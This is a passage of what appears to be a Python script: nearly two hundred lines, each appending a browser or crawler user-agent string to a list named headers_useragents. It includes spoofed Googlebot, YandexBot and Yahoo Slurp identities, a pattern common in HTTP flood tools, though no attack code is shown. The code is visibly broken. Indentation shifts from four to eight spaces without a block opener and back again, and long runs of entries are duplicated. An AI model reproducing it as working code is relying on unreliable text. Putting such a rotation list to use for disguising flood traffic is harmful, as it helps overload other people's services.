  1772.     headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15')
  1773.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')
  1774.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  1775.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  1776.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  1777.     headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')
  1778.     headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')
  1779.     headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)')
  1780.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')
  1781.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')
  1782.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  1783.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')
  1784.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  1785.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  1786.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  1787.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  1788.         headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  1789.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  1790.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  1791.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  1792.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  1793.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  1794.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  1795.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  1796.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
  1797.         headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  1798.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
  1799.         headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  1800.         headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  1801.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  1802.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  1803.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
  1804.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
  1805.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  1806.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  1807.         headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15')
  1808.         headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')
  1809.         headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  1810.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  1811.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  1812.         headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')
  1813.         headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')
  1814.         headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)')
  1815.         headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')
  1816.         headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')
  1817.         headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  1818.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')
  1819.         headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  1820.         headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)')
  1821.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)')
  1822.         headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)')
  1823.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)')
  1824.         headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10')
  1825.         headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')
  1826.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0')
  1827.         headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10')
  1828.         headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)')
  1829.         headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)')
  1830.         headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)')
  1831.         headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)')
  1832.         headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16')
  1833.         headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  1834.         headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)')
  1835.         headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  1836.         headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)')
  1837.         headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)')
  1838.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7')
  1839.         headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')
  1840.         headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)')
  1841.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)')
  1842.         headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  1843.         headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)')
  1844.         headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10')
  1845.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)')
  1846.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007')
  1847.         headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')
  1848.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)')
  1849.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)')
  1850.         headers_useragents.append('Googlebot/2.1 (http://www.googlebot.com/bot.html)')
  1851.         headers_useragents.append('Opera/9.20 (Windows NT 6.0; U; en)')
  1852.         headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)')
  1853.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)')
  1854.         headers_useragents.append('Opera/10.00 (X11; Linux i686; U; en) Presto/2.2.0')
  1855.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16')
  1856.         headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)')
  1857.         headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13')
  1858.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)')
  1859.         headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)')
  1860.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)')
  1861.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)')
  1862.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)')
  1863.         headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8')
  1864.         headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7')
  1865.         headers_useragents.append('Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)')
  1866.         headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)')
  1867.         headers_useragents.append('YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)')
  1868.         headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  1869.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  1870.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  1871.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  1872.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  1873.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  1874.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  1875.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  1876.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
  1877.         headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  1878.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
  1879.         headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  1880.         headers_useragents.append('AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)')
  1881.         headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7; AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)')
  1882.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)')
  1883.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.21; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
  1884.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; GTB7.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)')
  1885.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
  1886.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
  1887.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  1888.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  1889.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  1890.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  1891.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  1892.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  1893.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  1894.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  1895.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
  1896.         headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  1897.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
  1898.         headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  1899.         headers_useragents.append('Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36')
  1900.         headers_useragents.append('Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36')
  1901.         headers_useragents.append('Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.9 Safari/536.5')
  1902.         headers_useragents.append('Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.9 Safari/536.5')
  1903.         headers_useragents.append('Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_0) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3')
  1904.         headers_useragents.append('Mozilla/5.0 (Windows NT 5.1; rv:31.0) Gecko/20100101 Firefox/31.0')
  1905.         headers_useragents.append('Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20120101 Firefox/29.0')
  1906.         headers_useragents.append('Mozilla/5.0 (X11; OpenBSD amd64; rv:28.0) Gecko/20100101 Firefox/28.0')
  1907.         headers_useragents.append('Mozilla/5.0 (X11; Linux x86_64; rv:28.0) Gecko/20100101  Firefox/28.0')
  1908.         headers_useragents.append('Mozilla/5.0 (Windows NT 6.1; rv:27.3) Gecko/20130101 Firefox/27.3')
  1909.         headers_useragents.append('Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:25.0) Gecko/20100101 Firefox/25.0')
  1910.         headers_useragents.append('Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:24.0) Gecko/20100101 Firefox/24.0')
  1911.         headers_useragents.append('Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)')
  1912.         headers_useragents.append('Mozilla/5.0(compatible; MSIE 10.0; Windows NT 6.1; Trident/4.0; InfoPath.2; SV1; .NET CLR 2.0.50727; WOW64)')
  1913.         headers_useragents.append('Mozilla/5.0 (compatible; MSIE 10.0; Macintosh; Intel Mac OS X 10_7_3; Trident/6.0)')
  1914.         headers_useragents.append('Mozilla/5.0 (BlackBerry; U; BlackBerry 9900; en) AppleWebKit/534.11+ (KHTML, like Gecko) Version/7.1.0.346 Mobile Safari/534.11+')
  1915.         headers_useragents.append('Mozilla/5.0 (BlackBerry; U; BlackBerry 9850; en-US) AppleWebKit/534.11+ (KHTML, like Gecko) Version/7.0.0.254 Mobile Safari/534.11+')
  1916.         headers_useragents.append('Mozilla/5.0 (BlackBerry; U; BlackBerry 9850; en-US) AppleWebKit/534.11+ (KHTML, like Gecko) Version/7.0.0.254 Mobile Safari/534.11+')
  1917.         headers_useragents.append('Mozilla/5.0 (Windows NT 6.2) AppleWebKit/535.7 (KHTML, like Gecko) Comodo_Dragon/16.1.1.0 Chrome/16.0.912.63 Safari/535.7')
  1918.         headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.5 (KHTML, like Gecko) Comodo_Dragon/4.1.1.11 Chrome/4.1.249.1042 Safari/532.5')
  1919.         headers_useragents.append('Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25')
  1920.         headers_useragents.append('Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/537.13+ (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2')
  1921.         headers_useragents.append('Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/534.55.3 (KHTML, like Gecko) Version/5.1.3 Safari/534.53.10')
  1922.         headers_useragents.append('Mozilla/5.0 (iPad; CPU OS 5_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko ) Version/5.1 Mobile/9B176 Safari/7534.48.3')
  1923.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; tr-TR) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27')
  1924.         headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  1925.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  1926.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  1927.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  1928.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  1929.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  1930.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  1931.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  1932.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
  1933.         headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  1934.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
  1935.         headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  1936.         headers_useragents.append('Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36')
  1937.         headers_useragents.append('Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36')
  1938.         headers_useragents.append('Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.9 Safari/536.5')
  1939.         headers_useragents.append('Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.9 Safari/536.5')
  1940.         headers_useragents.append('Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_0) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3')
  1941.         headers_useragents.append('Mozilla/5.0 (Windows NT 5.1; rv:31.0) Gecko/20100101 Firefox/31.0')
  1942.         headers_useragents.append('Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20120101 Firefox/29.0')
  1943.         headers_useragents.append('Mozilla/5.0 (X11; OpenBSD amd64; rv:28.0) Gecko/20100101 Firefox/28.0')
  1944.         headers_useragents.append('Mozilla/5.0 (X11; Linux x86_64; rv:28.0) Gecko/20100101  Firefox/28.0')
  1945.         headers_useragents.append('Mozilla/5.0 (Windows NT 6.1; rv:27.3) Gecko/20130101 Firefox/27.3')
  1946.         headers_useragents.append('Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:25.0) Gecko/20100101 Firefox/25.0')
  1947.         headers_useragents.append('Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:24.0) Gecko/20100101 Firefox/24.0')
  1948.         headers_useragents.append('Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)')
  1949.         headers_useragents.append('Mozilla/5.0(compatible; MSIE 10.0; Windows NT 6.1; Trident/4.0; InfoPath.2; SV1; .NET CLR 2.0.50727; WOW64)')
  1950.         headers_useragents.append('Mozilla/5.0 (compatible; MSIE 10.0; Macintosh; Intel Mac OS X 10_7_3; Trident/6.0)')
  1951.         headers_useragents.append('Mozilla/5.0 (BlackBerry; U; BlackBerry 9900; en) AppleWebKit/534.11+ (KHTML, like Gecko) Version/7.1.0.346 Mobile Safari/534.11+')
  1952.         headers_useragents.append('Mozilla/5.0 (BlackBerry; U; BlackBerry 9850; en-US) AppleWebKit/534.11+ (KHTML, like Gecko) Version/7.0.0.254 Mobile Safari/534.11+')
  1953.         headers_useragents.append('Mozilla/5.0 (BlackBerry; U; BlackBerry 9850; en-US) AppleWebKit/534.11+ (KHTML, like Gecko) Version/7.0.0.254 Mobile Safari/534.11+')
  1954.         headers_useragents.append('Mozilla/5.0 (Windows NT 6.2) AppleWebKit/535.7 (KHTML, like Gecko) Comodo_Dragon/16.1.1.0 Chrome/16.0.912.63 Safari/535.7')
  1955.         headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.5 (KHTML, like Gecko) Comodo_Dragon/4.1.1.11 Chrome/4.1.249.1042 Safari/532.5')
  1956.         headers_useragents.append('Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25')
